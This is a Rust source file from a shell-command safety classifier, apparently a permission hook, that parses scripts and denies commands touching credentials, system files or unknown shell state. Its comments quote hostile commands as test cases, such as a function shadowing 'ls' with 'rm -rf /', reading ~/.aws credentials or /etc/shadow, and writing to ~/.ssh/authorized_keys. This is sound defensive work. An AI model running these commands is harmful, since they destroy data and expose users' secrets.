Skip to main content

safe_chains/cst/
check.rs

1pub(super) use super::classify_budget::ClassifyGuard;
2pub(crate) use super::classify_budget::charge_classify_work;
3pub(crate) use super::functions::names_a_function;
4use super::functions::{FuncScope, define_function};
5pub(super) use super::functions::{forget_poisoned_functions, lookup_function, poison_function};
6pub(super) use super::scope_budget::scope_budget_spent;
7use super::scope_budget::{ScopeWalk, UNCERTAIN_VALUE, rebind_uncertain};
8use super::*;
9use crate::parse::Token;
10use crate::verdict::{SafetyLevel, Verdict};
11use crate::{handlers, pathctx::judging};
12
13pub fn command_verdict(input: &str) -> Verdict {
14    let _rules = crate::allowlist::suspended();
15    let Some(_guard) = ClassifyGuard::enter(input.len()) else {
16        return Verdict::Denied; // classification budget spent — fail closed
17    };
18    let Some(script) = parse(input) else {
19        return Verdict::Denied;
20    };
21    let verdict = script_verdict(&script);
22    if super::scope_budget::walk_untrusted() {
23        return Verdict::Denied; // shell state the walk could not track — fail closed
24    }
25    verdict
26}
27
28pub fn is_safe_command(input: &str) -> bool {
29    command_verdict(input).is_allowed()
30}
31
32pub(super) fn script_verdict(script: &Script) -> Verdict {
33    walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline))
34        .into_iter()
35        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
36}
37
38/// Walk `script`'s statements IN ORDER, running `per_stmt` on each with the accumulated scope
39/// installed, and return the per-statement results.
40///
41/// The scope is: the running `cwd` (HP-19 — a later relative path resolves against a prior `cd`),
42/// plus `VAR=value` bindings and function definitions from EARLIER statements (bash semantics;
43/// released when this returns). Fail-open on cwd: an unresolvable `cd` leaves it unchanged.
44///
45/// Shared by `script_verdict` AND the explainer so both see the SAME scope. This is load-bearing for
46/// security: a definition that shadows a builtin (`ls(){ rm -rf /; }; ls`) must deny in BOTH — if the
47/// per-segment explain classified the `ls` call without the definition in scope, the hook's coverage
48/// fallback (which uses the explainer) would re-allow the very thing the whole-command verdict denied.
49pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T) -> Vec<T> {
50    let _walk = ScopeWalk::enter();
51    let mut running = crate::pathctx::cwd();
52    let mut _vars: Vec<crate::pathctx::VarGuard> = Vec::new();
53    let mut _funcs: Vec<FuncScope> = Vec::new();
54    let mut out = Vec::with_capacity(script.0.len());
55    for stmt in &script.0 {
56        out.push({
57            let _cwd = crate::pathctx::enter_cwd(running.clone());
58            per_stmt(stmt)
59        });
60        let effects = if scope_budget_spent() { ShellEffects::default() } else { shell_effects(&stmt.pipeline) };
61        let next = super::cd::cd_target(&stmt.pipeline).and_then(|(t, p)| crate::pathctx::join_cwd_mode(running.as_deref(), &t, p));
62        if next.is_some() {
63            running = next;
64        } else if effects.cwd {
65            // The shell may have moved somewhere we cannot name — a `cd` inside a compound or a
66            // called function, or a bare `cd`/`cd -`. Keeping the old cwd would judge later
67            // relative paths against a directory the shell has left.
68            running = Some(crate::pathctx::UNRESOLVED_CWD.to_string());
69        }
70        for (name, value) in statement_assignments(&stmt.pipeline) {
71            _vars.push(crate::pathctx::enter_var(name, value));
72        }
73        // Rebinds the shell keeps but we cannot attribute — a `VAR=…` or `name() {…}` inside a
74        // compound or a called function. Pushed AFTER the precise bindings above so the uncertain
75        // value wins for that name; a statement handled precisely contributes nothing here.
76        rebind_uncertain(effects.vars, &mut _vars);
77        for name in effects.funcs {
78            poison_function(name);
79        }
80        if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
81            _funcs.push(define_function(name.clone(), body.clone()));
82        }
83    }
84    out
85}
86
87/// How deep to chase function bodies. Bounded so a recursive definition cannot spin; hitting the
88/// bound reports a possible effect, which fails closed.
89pub(super) const MAX_CD_SCAN_DEPTH: usize = 16;
90
91/// What running a statement may do to the CURRENT shell's state that we cannot attribute exactly.
92///
93/// bash isolates such effects in exactly two places — a SUBSHELL, and a stage of a multi-command
94/// pipeline. Everywhere else (brace group, `if`, `for`, `while`, `case`, a called function) a `cd`,
95/// a `VAR=…` or a `name() {…}` takes effect in the current shell and outlives the construct. The
96/// precise handling matches only statement-level forms, so all of those escaped tracking:
97/// `{ cd ~/.aws; }; cat credentials` was judged as a worktree read, and
98/// `VAR=./ok; { VAR=/etc/shadow; }; cat $VAR` kept the stale binding. Both are fail-OPEN — the
99/// stale state is the permissive one.
100///
101/// Whether the effect happened is unknowable (a branch may not be taken, a loop may not run), so
102/// the caller marks the cwd and the named bindings UNCERTAIN rather than guessing a value.
103#[derive(Default)]
104pub(super) struct ShellEffects {
105    pub(super) cwd: bool,
106    pub(super) vars: Vec<String>,
107    pub(super) funcs: Vec<String>,
108}
109
110/// The effects of one statement.
111fn shell_effects(pipeline: &Pipeline) -> ShellEffects {
112    let mut out = ShellEffects::default();
113    // `seen` memoizes function bodies. Without it `f0(){ f1; f1; }; f1(){ f2; f2; }; …` costs
114    // 2^depth traversals — a depth cap bounds depth but not FAN-OUT, the same blow-up the
115    // classifier's own work budget exists for. Caught by the termination guard.
116    let mut seen = Vec::new();
117    pipeline_effects(pipeline, MAX_CD_SCAN_DEPTH, &mut seen, &mut out);
118    out
119}
120
121/// A lone command's effects, or a pipeline's last stage's: zsh, and bash with `lastpipe`, run the
122/// last stage in the current shell, so `echo x | read f` may set `f`. A bare assignment or a
123/// definition there is an effect too, since `statement_assignments` binds only a lone one.
124fn pipeline_effects(pipeline: &Pipeline, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
125    let Some(last) = pipeline.commands.last() else { return };
126    if pipeline.commands.len() > 1 {
127        match last {
128            Cmd::Simple(s) if s.words.is_empty() => out.vars.extend(s.env.iter().map(|(name, _)| name.clone())),
129            Cmd::FunctionDef { name, .. } => out.funcs.push(name.clone()),
130            _ => {}
131        }
132    }
133    scan_effects(last, depth, seen, out);
134}
135
136fn scan_effects(cmd: &Cmd, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
137    let Some(depth) = depth.checked_sub(1) else {
138        out.cwd = true; // out of budget — assume the worst
139        return;
140    };
141    match cmd {
142        Cmd::Simple(s) => {
143            let Some(name) = s.words.first().map(Word::eval) else {
144                return; // a bare `VAR=x` — handled precisely by `statement_assignments`
145            };
146            out.vars.extend(super::opaque::declared_names(s));
147            if name == "cd" {
148                out.cwd = true;
149                return;
150            }
151            // A CALL runs the body in THIS shell, so its effects escape with it.
152            if seen.contains(&name) {
153                return;
154            }
155            if let Some(body) = lookup_function(&name) {
156                seen.push(name);
157                scan_script_effects(&body, depth, seen, out);
158            }
159        }
160        // The two constructs the shell really does isolate, plus forms that run nothing.
161        Cmd::Subshell { .. } | Cmd::DoubleBracket { .. } | Cmd::FunctionDef { .. } => {}
162        Cmd::BraceGroup { body, .. } => scan_script_effects(body, depth, seen, out),
163        Cmd::For { var, body, .. } => {
164            out.vars.push(var.clone());
165            scan_script_effects(body, depth, seen, out);
166        }
167        Cmd::While { cond, body, .. } | Cmd::Until { cond, body, .. } => {
168            scan_script_effects(cond, depth, seen, out);
169            scan_script_effects(body, depth, seen, out);
170        }
171        Cmd::If { branches, else_body, .. } => {
172            for b in branches {
173                scan_script_effects(&b.cond, depth, seen, out);
174                scan_script_effects(&b.body, depth, seen, out);
175            }
176            if let Some(e) = else_body {
177                scan_script_effects(e, depth, seen, out);
178            }
179        }
180        Cmd::Case { arms, .. } => {
181            for a in arms {
182                scan_script_effects(&a.body, depth, seen, out);
183            }
184        }
185    }
186}
187
188/// Every statement of a body that the shell would run in the current shell: its assignments and
189/// function definitions rebind here, and its commands are scanned in turn.
190pub(super) fn scan_script_effects(script: &Script, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
191    for st in &script.0 {
192        for (name, _) in statement_assignments(&st.pipeline) {
193            out.vars.push(name);
194        }
195        if let [Cmd::FunctionDef { name, .. }] = st.pipeline.commands.as_slice() {
196            out.funcs.push(name.clone());
197        }
198        pipeline_effects(&st.pipeline, depth, seen, out);
199    }
200}
201
202/// The persistent bindings a STATEMENT establishes: a pure assignment `VAR=value` (a simple command
203/// with env and NO words). A prefix `VAR=x cmd` is excluded — per bash it doesn't persist and
204/// doesn't even affect `$VAR` in `cmd`'s own args. Each value is resolved against the bindings so far
205/// (so `B=$A/x` chains); a CERTAIN literal binds verbatim, an uncertain one binds the sentinel.
206fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
207    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
208        return Vec::new();
209    };
210    if !s.words.is_empty() {
211        return Vec::new();
212    }
213    s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
214}
215
216/// A word's CERTAIN literal value for binding, or the unpinnable sentinel when uncertain. Resolves
217/// `$refs` against the current scope first, then requires no residual `$` and no substitution
218/// sentinel — a substitution (`$(…)`), an unbound var, or a reassignment-to-uncertain all fail here.
219pub(super) fn certain_value(word: &Word) -> String {
220    let text = word.eval();
221    if crate::pathctx::names_a_loop_var(&text) {
222        return UNCERTAIN_VALUE.to_string();
223    }
224    let raw = crate::pathctx::expand_vars(&text, false).into_owned();
225    // A TAGGED substitution sentinel is certain enough to BIND: it already classifies to a known
226    // locus, so `OUT=$(pwd); … > "$OUT/raw/x"` gates the write at the worktree rather than
227    // fail-closing on a value it can in fact bound. Every other marker stays uncertain.
228    if raw.contains('$') || is_opaque_value(&raw) { UNCERTAIN_VALUE.to_string() } else { raw }
229}
230
231/// Whether an evaluated word carries a marker the classifier CANNOT bound: the opaque command
232/// substitution, a process substitution (a `/dev/fd` pipe), or arithmetic. Deliberately not a
233/// `__SAFE_CHAINS_` prefix test, which would also catch the tagged (bounded) substitution.
234pub(crate) fn is_opaque_value(raw: &str) -> bool {
235    ["__SAFE_CHAINS_CMDSUB__", "__SAFE_CHAINS_PROCSUB__", "__SAFE_CHAINS_ARITH__"]
236        .iter()
237        .any(|m| raw.contains(m))
238}
239
240#[cfg(test)]
241pub(crate) fn is_safe_script(script: &Script) -> bool {
242    script_verdict(script).is_allowed()
243}
244
245pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
246    let mut acc = Verdict::Allowed(SafetyLevel::Inert);
247    // The representative path-locus of the CURRENT stream (the previous stage's stdout), threaded so
248    // a line-preserving filter carries the producer's locus THROUGH it: in `find ./src | head | xargs
249    // cat`, `head`'s output items are still `find`'s worktree paths, so `xargs` gates them there
250    // instead of worst-casing. In `A | xargs CMD`, xargs injects A's items as CMD's operands (the
251    // same idea as `find -exec`'s `{}` binding, sourced from the pipe).
252    let (mut stream, mut items): (Option<String>, _) = (None, crate::pathctx::item_shape::UNKNOWN);
253    for (stage, cmd) in pipeline.commands.iter().enumerate() {
254        let _stdin = stream.clone().map(|r| super::opaque::enter_stdin(r, items));
255        acc = acc.combine(super::netargs::with_stdin(pipeline, stage, || cmd_verdict(cmd)));
256        items = super::opaque::stage_shape(cmd, items);
257        if stage + 1 < pipeline.commands.len() {
258            stream = Some(stage_output_repr(cmd, stream.as_deref()));
259        }
260    }
261    acc
262}
263
264/// The sentinel operand fed to an injecting consumer when the source is unknown/unmodeled. The
265/// leading `/` makes it LOOK like a path (so `pathgate`-gated readers like `od` gate it) and the
266/// cmdsub marker makes it unpinnable (so engine-resolved readers like `cat` worst-case it) — it
267/// must deny in BOTH gate layers.
268pub(super) const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
269
270/// A representative PATH for the items `cmd` emits on stdout given the stream repr it RECEIVED
271/// (`input`), used to gate an operand-injecting consumer downstream (`… | xargs cat`). A PRODUCER
272/// that provably emits workspace-bounded paths yields a worktree representative; a line-preserving
273/// FILTER carries `input` through unchanged; everything else worst-cases to `UNKNOWN_ITEM`.
274pub(super) fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
275    let Cmd::Simple(s) = cmd else {
276        return UNKNOWN_ITEM.to_string();
277    };
278    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
279    let Some(first) = words.first() else {
280        return UNKNOWN_ITEM.to_string();
281    };
282    let name = Token::from_raw(first.clone()).command_name().to_string();
283    let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
284    let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
285    match name.as_str() {
286        // find/fd emit paths UNDER their roots — the child of the worst root carries its locus.
287        //
288        // "Worst" by BOTH faces, not by whether the read is allowed. Selecting on whether the read is admitted
289        // dropped any root that merely reads fine, so `find app/.git` fell through to `.` and
290        // `find app/.git | while read f; do echo hi > "$f"; done` wrote into the frozen rung that
291        // `echo hi > app/.git/config` refuses. `.git` is exactly the path that reads fine and must
292        // not be written, so a read-face test could never see it.
293        "find" | "fd" | "fdfind" if super::opaque::prints_only_paths(&args) => {
294            let roots = find_roots(&args);
295            let base = roots
296                .iter()
297                .max_by_key(|r| {
298                    let (read, write) = (crate::engine::resolve::locus::read_locus(r), crate::engine::resolve::locus::write_locus(r));
299                    read.max(write)
300                })
301                .copied()
302                .unwrap_or(".");
303            // Same stand-in the `-exec` handlers bind `{}` to — one rule, one definition. It was two
304            // copies before, and the copy that got the shield fix was this one, so `find / | xargs
305            // cat` refused while `find / -exec cat {} \;` read the same files.
306            //
307            // Deliberately not applied to the arms below. `echo /etc/passwd | xargs cat` keeps its
308            // literal representative because the shield genuinely CAN check that one; the
309            // distinction is whether we hold the actual path or a placeholder for it.
310            crate::engine::resolve::frozen_reach::stage_item(&name, base, &args)
311        }
312        // ls emits cwd-relative BASENAMES (worktree) unless `-d` echoes its (possibly absolute) args.
313        "ls" => {
314            if super::echoed::ls_prints_operands(&args) {
315                super::echoed::printed_item("ls", &args).unwrap_or_else(|| UNKNOWN_ITEM.to_string())
316            } else {
317                super::echoed::ls_item(&args).unwrap_or_else(|| UNKNOWN_ITEM.to_string())
318            }
319        }
320        // echo/printf emit their args verbatim; the worst piece of them is the representative.
321        "echo" | "printf" => super::echoed::printed_item(&name, &args).unwrap_or_else(|| UNKNOWN_ITEM.to_string()),
322        // git path-listers emit repo-relative paths (worktree, assuming the repo is the workspace).
323        "git" => match args.first() {
324            Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
325            _ => UNKNOWN_ITEM.to_string(),
326        },
327        // Line-preserving FILTERS: each output line is a WHOLE, unchanged input line, so the stream's
328        // item locus is unchanged — carry `input` through. Only when reading stdin (no file operand)
329        // and not byte-slicing (`head -c`, which can split a path); NOT `grep -o`/`sed`/`awk`/`cut`/`tr`
330        // (they can rewrite a line to ANY path — treating those as passthrough would be a bypass).
331        "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
332        "head" | "tail" if !reads_a_file_after_count(&args) && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) => through(),
333        // tee always forwards stdin→stdout (its file args are extra WRITES, gated elsewhere).
334        "tee" => through(),
335        _ => UNKNOWN_ITEM.to_string(),
336    }
337}
338
339/// Whether a filter reads a FILE rather than stdin (so it is NOT a stdin passthrough): a
340/// positional operand, or `sort`'s `--files0-from=F` / `--files0-from F`, which redirects it to
341/// emit the CONTENTS of the files listed in `F` — arbitrary file-derived output, not the piped
342/// stream. A lone `-` (explicit stdin) doesn't count. The `=`-glued flag form is a single token
343/// starting with `-`, so it must be matched explicitly or it would masquerade as a passthrough.
344fn reads_a_file(args: &[&str]) -> bool {
345    args.iter()
346        .any(|a| (!a.starts_with('-') && *a != "-") || *a == "--files0-from" || a.starts_with("--files0-from="))
347}
348
349/// Like `reads_a_file`, but skips the VALUE of `head`/`tail`'s count flags (`-n N`, `-c N`) so
350/// `head -n 5` (stdin) isn't mistaken for reading a file named `5`.
351fn reads_a_file_after_count(args: &[&str]) -> bool {
352    let mut i = 0;
353    while i < args.len() {
354        let a = args[i];
355        if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
356            i += 2; // flag + its value
357            continue;
358        }
359        if a.starts_with('-') || a == "-" {
360            i += 1;
361            continue;
362        }
363        return true; // a bare positional → a file operand
364    }
365    false
366}
367
368/// `find`'s root operands: after any leading global options (`-H`/`-L`/`-P`, `-D`/`-O V`), the
369/// positional args up to the first predicate (`-name`, `(`, `!`, …). Defaults to `.` (cwd).
370fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
371    let mut i = 0;
372    while i < args.len() {
373        match args[i] {
374            "-H" | "-L" | "-P" => i += 1,
375            "-D" | "-O" => i += 2,
376            _ => break,
377        }
378    }
379    let mut roots = Vec::new();
380    while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
381        roots.push(args[i]);
382        i += 1;
383    }
384    if roots.is_empty() {
385        roots.push(".");
386    }
387    roots
388}
389
390pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
391    pipeline_verdict(pipeline).is_allowed()
392}
393
394pub(crate) fn has_unsafe_syntax(cmd: &SimpleCmd) -> bool {
395    !check_redirects(&cmd.redirs) || has_any_substitution(cmd)
396}
397
398fn has_any_substitution(cmd: &SimpleCmd) -> bool {
399    cmd.words.iter().any(has_substitution) || cmd.env.iter().any(|(_, v)| has_substitution(v))
400}
401
402pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
403    match cmd {
404        Cmd::Simple(s) => crate::allowlist::with_rules(s, simple_verdict),
405        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
406            let body_v = script_verdict(body);
407            if let Verdict::Denied = body_v {
408                return Verdict::Denied;
409            }
410            let redir_v = redirect_verdict(redirs);
411            if let Verdict::Denied = redir_v {
412                return Verdict::Denied;
413            }
414            body_v.combine(redir_v)
415        }
416        Cmd::For { var, items, body, redirs } => super::loops::for_verdict(var, items, body, redirs),
417        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => super::loops::while_verdict(cond, body, redirs),
418        Cmd::If { branches, else_body, redirs } => {
419            let redir_v = redirect_verdict(redirs);
420            if let Verdict::Denied = redir_v {
421                return Verdict::Denied;
422            }
423            let mut v = redir_v;
424            for b in branches {
425                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
426            }
427            if let Some(eb) = else_body {
428                v = v.combine(script_verdict(eb));
429            }
430            v
431        }
432        Cmd::DoubleBracket { words, redirs } => super::arith::double_bracket_verdict(words).combine(redirect_verdict(redirs)),
433        // Which arm runs is decided at runtime, so — exactly as for `If` — every arm body counts
434        // and the case is only as safe as its worst arm. The patterns are matched, never executed,
435        // but the SUBJECT is expanded, so its substitutions are gated like any other word.
436        Cmd::Case { subject, arms, redirs } => {
437            let redir_v = redirect_verdict(redirs);
438            if let Verdict::Denied = redir_v {
439                return Verdict::Denied;
440            }
441            let mut v = redir_v.combine(word_sub_verdict(subject));
442            for arm in arms {
443                v = v.combine(words_sub_verdict(&arm.patterns)).combine(script_verdict(&arm.body));
444            }
445            v
446        }
447        Cmd::FunctionDef { name, body } => super::functions::definition_verdict(name, body),
448    }
449}
450
451pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
452    cmd_verdict(cmd).is_allowed()
453}
454
455fn part_sub_verdict(part: &WordPart) -> Verdict {
456    match part {
457        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => crate::allowlist::outside_rules(|| script_verdict(inner)),
458        WordPart::Backtick(raw) => command_verdict(&super::escape::backtick_command(raw)),
459        WordPart::DQuote(inner) => word_sub_verdict(inner),
460        // Arithmetic is inert, but a `$( )` inside it runs — judged, not skipped.
461        WordPart::Arith(inner) => word_sub_verdict(inner),
462        _ => Verdict::Allowed(SafetyLevel::Inert),
463    }
464}
465
466fn word_sub_verdict(word: &Word) -> Verdict {
467    word.0.iter().map(part_sub_verdict).fold(super::arith::word_verdict(word), Verdict::combine)
468}
469
470pub(super) fn words_sub_verdict(words: &[Word]) -> Verdict {
471    words.iter().map(word_sub_verdict).fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
472}
473
474#[cfg(test)]
475pub(crate) fn word_subs_safe(word: &Word) -> bool {
476    word_sub_verdict(word).is_allowed()
477}
478
479fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
480    let redir_v = redirect_verdict(&cmd.redirs);
481    if let Verdict::Denied = redir_v {
482        return Verdict::Denied;
483    }
484
485    let env_sub_v = cmd
486        .env
487        .iter()
488        .map(|(_, v)| word_sub_verdict(v))
489        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
490    let word_sub_v = words_sub_verdict(&cmd.words);
491
492    // A LISTED assignment is classified by its value (`envvars.toml`): `GIT_SSH_COMMAND` carries a
493    // command, `LD_PRELOAD` a path supplying code. An unlisted name is Inert, so this changes
494    // nothing for ordinary invocations — `FOO=bar ls` classifies exactly as `ls` does.
495    //
496    // COMBINED, not merely checked for denial. An assignment that resolves to a LEVEL carries that
497    // level into the command: `RUSTFLAGS='-Cincremental=./x'` authorises a worktree write, so the
498    // invocation is a write even when the command word is inert. Propagating only `Denied` here
499    // meant `RUSTFLAGS='-Cincremental=./x' echo hi` passed at `paranoid`, while the same write
500    // spelled `touch ./x` did not.
501    let env_name_v = cmd
502        .env
503        .iter()
504        .map(|(name, value)| crate::envvars::assignment_verdict(name, &value.eval()))
505        .fold(crate::envvars::rebinding_verdict(&cmd.words).combine(super::arith::command_verdict(cmd)), Verdict::combine);
506    let sub_v = env_sub_v.combine(word_sub_v).combine(env_name_v);
507
508    if let Verdict::Denied = sub_v {
509        return Verdict::Denied;
510    }
511
512    if cmd.words.is_empty() {
513        if cmd.env.is_empty() {
514            return Verdict::Allowed(SafetyLevel::Inert);
515        }
516        return sub_v.combine(redir_v);
517    }
518
519    let name = cmd.words[0].eval();
520
521    // A function shadows everything it names, builtins like `eval` included, so it resolves first.
522    if let Some(call) = super::functions::call_verdict(cmd, &name) {
523        return sub_v.combine(call).combine(redir_v);
524    }
525
526    if name == "eval" {
527        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
528    }
529
530    // Brace-expand each word (`cat {/etc/shadow,x}` → two operands) so every alternative bash
531    // would run is classified — a braced word must not hide a system path from the gate.
532    let words: Vec<Vec<Token>> = cmd.words.iter().map(|w| w.expand().into_iter().map(Token::from_raw).collect()).collect();
533    if words.iter().all(Vec::is_empty) {
534        return Verdict::Allowed(SafetyLevel::Inert);
535    }
536    if super::opaque::smuggles_a_flag(cmd) {
537        return Verdict::Denied;
538    }
539
540    let cmd_v = super::netargs::with_args(cmd, || super::opaque::probed_verdict(cmd, &words, judging(!cmd.env.is_empty(), leaf_verdict)));
541    sub_v.combine(cmd_v).combine(redir_v)
542}
543
544/// The command leaf's verdict. The behavioral-capability engine is authoritative for every
545/// command it can resolve; the legacy classifier handles the rest (`…-engine` §4). There is
546/// no opt-out — the engine is the default and only path.
547fn leaf_verdict(tokens: &[Token]) -> Verdict {
548    let legacy = handlers::dispatch(tokens);
549    super::netargs::with_egress(tokens, crate::engine::bridge::gated_engine_verdict(tokens).unwrap_or(legacy))
550}
551
552fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
553    if cmd.words.len() < 2 {
554        return Verdict::Denied;
555    }
556    for arg in &cmd.words[1..] {
557        if !arg_is_eval_safe(arg) {
558            return Verdict::Denied;
559        }
560    }
561    Verdict::Allowed(SafetyLevel::Inert)
562}
563
564fn arg_is_eval_safe(word: &Word) -> bool {
565    let mut found_safe = false;
566    for part in &word.0 {
567        match part {
568            WordPart::Lit(s) | WordPart::SQuote(s) => {
569                if !s.chars().all(char::is_whitespace) {
570                    return false;
571                }
572            }
573            WordPart::Escape(c) => {
574                if !c.is_whitespace() {
575                    return false;
576                }
577            }
578            WordPart::CmdSub(script) => {
579                if !script_yields_eval_safe(script) {
580                    return false;
581                }
582                found_safe = true;
583            }
584            WordPart::Backtick(raw) => {
585                let Some(script) = parse(&super::escape::backtick_command(raw)) else {
586                    return false;
587                };
588                if !script_yields_eval_safe(&script) {
589                    return false;
590                }
591                found_safe = true;
592            }
593            WordPart::DQuote(inner) => {
594                if !arg_is_eval_safe(inner) {
595                    return false;
596                }
597                if has_substitution(inner) {
598                    found_safe = true;
599                }
600            }
601            WordPart::ProcSub(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => return false,
602        }
603    }
604    found_safe
605}
606
607fn script_yields_eval_safe(script: &Script) -> bool {
608    if script.0.len() != 1 {
609        return false;
610    }
611    let stmt = &script.0[0];
612    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
613        return false;
614    }
615    let pipeline = &stmt.pipeline;
616    if pipeline.bang || pipeline.commands.len() != 1 {
617        return false;
618    }
619    let Cmd::Simple(s) = &pipeline.commands[0] else {
620        return false;
621    };
622    if !s.env.is_empty() {
623        return false;
624    }
625    // A redirect inside the substitution is allowed only if it's inert:
626    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
627    // A redirect that writes a real file is SafeWrite, not inert, so
628    // `mise activate bash > evil` is rejected — eval-safe must not gain a
629    // file-write side effect, and diverting stdout to a file is pointless here.
630    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
631        return false;
632    }
633    for w in &s.words {
634        if !word_is_plain_literal(w) {
635            return false;
636        }
637    }
638    let tokens: Vec<Token> = s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
639    if tokens.is_empty() {
640        return false;
641    }
642    crate::registry::is_eval_safe_invocation(&tokens)
643}
644
645/// True iff every character of `word` is drawn from the bare-literal
646/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
647/// matching this shape consist entirely of identifier-style or
648/// path-style tokens that the shell will pass through to the
649/// substituted command unchanged at runtime.
650///
651/// Required for words inside eval-safe substitutions because the
652/// "stdout is shell-init code" trust depends on the contributor having
653/// vetted what gets passed to the tool. Restricting the alphabet to
654/// chars with no shell-expansion semantics keeps the substituted
655/// invocation static across parse-time and runtime — what you see in
656/// the source is what the tool receives.
657fn word_is_plain_literal(word: &Word) -> bool {
658    word.0.iter().all(part_is_plain_literal)
659}
660
661fn part_is_plain_literal(part: &WordPart) -> bool {
662    match part {
663        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
664        WordPart::Escape(c) => is_bare_literal_char(*c),
665        WordPart::DQuote(inner) => word_is_plain_literal(inner),
666        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => false,
667    }
668}
669
670/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
671/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
672/// and the long-flag value form (`=`). New chars require an explicit
673/// eval-safe use case — add by extending this match, never by
674/// excluding individual hostile chars.
675fn is_bare_literal_char(c: char) -> bool {
676    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
677}
678
679/// Whether a command's redirects are acceptable on the USER-ALLOWLIST path — the one taken when the
680/// user's own `Bash(...)` rule names a command safe-chains does not otherwise know.
681///
682/// Delegates to [`redirect_verdict`], the same location model every other redirect goes through.
683/// It used to carry its own rule — a write was accepted only to `/dev/null`, a read always — and
684/// that second copy was wrong in BOTH directions:
685///
686/// - Too strict on writes. A granted runner script could not redirect anywhere, not even into the
687///   session scratchpad: `~/runner-scripts/x.sh > $SCRATCH/out.txt` fell through to a prompt while
688///   the byte-identical `cat f > $SCRATCH/out.txt` auto-approved through the engine path.
689/// - Too lax on reads. `Redir::Read` was unconditionally true, so `~/runner-scripts/x.sh <
690///   /etc/shadow` fed a credential to a granted command without ever consulting the read locus.
691///
692/// One model, one answer. A grant covers the command; the redirect is still gated by where it
693/// lands, so `> ~/.ssh/authorized_keys` stays denied whatever rule named the command.
694pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
695    redirect_verdict(redirs).is_allowed()
696}
697
698/// Whether a redirect *write* target is one we can auto-approve. Delegates to the SAME location
699/// model + user grants the engine's file writers (`cp`/`mv`/`tee`/…) use, so a `> ~/file` honors
700/// a home grant exactly like `cp ./a ~/file`; `/tmp` and `/dev/stdout` stay writable; and
701/// `.git`/`.envrc`, home, absolute system paths, `..` escapes, and `$`-unpinnable targets stay
702/// frozen (a redirect there can plant a git hook, an SSH key, or a direnv script that runs
703/// later). Relative targets resolve against the harness cwd/root inside `write_target_verdict`.
704fn is_safe_write_target(path: &str) -> bool {
705    crate::engine::resolve::write_target_verdict(path).is_allowed()
706}
707
708/// The verdict for a redirect that OPENS `target` for writing. Brace sequences expand first.
709fn write_face(target: &Word) -> Verdict {
710    super::eval::judge_write(target, is_safe_write_target)
711}
712
713/// The verdict for a redirect that OPENS `target` for reading. Gates the SOURCE by its read locus,
714/// like an operand read: `cat < /etc/shadow` must deny just as `cat /etc/shadow` does. A
715/// substitution-derived source names an unknowable file → fail-closed to Denied. Brace sequences
716/// expand first, and the locus is read off that expanded spelling.
717fn read_face(target: &Word) -> Verdict {
718    super::eval::judge_read(target, is_opaque_value)
719}
720
721pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
722    let mut level = Verdict::Allowed(SafetyLevel::Inert);
723    for r in redirs {
724        match r {
725            Redir::Write { target, .. } => {
726                level = level.combine(word_sub_verdict(target));
727                level = level.combine(write_face(target));
728            }
729            Redir::Read { target, .. } => {
730                level = level.combine(word_sub_verdict(target));
731                level = level.combine(read_face(target));
732            }
733            // `<>` opens the target BOTH ways, so it takes both gates. Taking only one would let
734            // the other face through: the write gate alone misses reading a secret, and the read
735            // gate alone misses overwriting a file that is merely readable.
736            Redir::ReadWrite { target, .. } => {
737                level = level.combine(word_sub_verdict(target));
738                level = level.combine(write_face(target));
739                level = level.combine(read_face(target));
740            }
741            Redir::HereStr(word) => {
742                level = level.combine(word_sub_verdict(word));
743            }
744            // A heredoc body is inert ONLY behind a quoted delimiter. With a bare `<<EOF` the shell
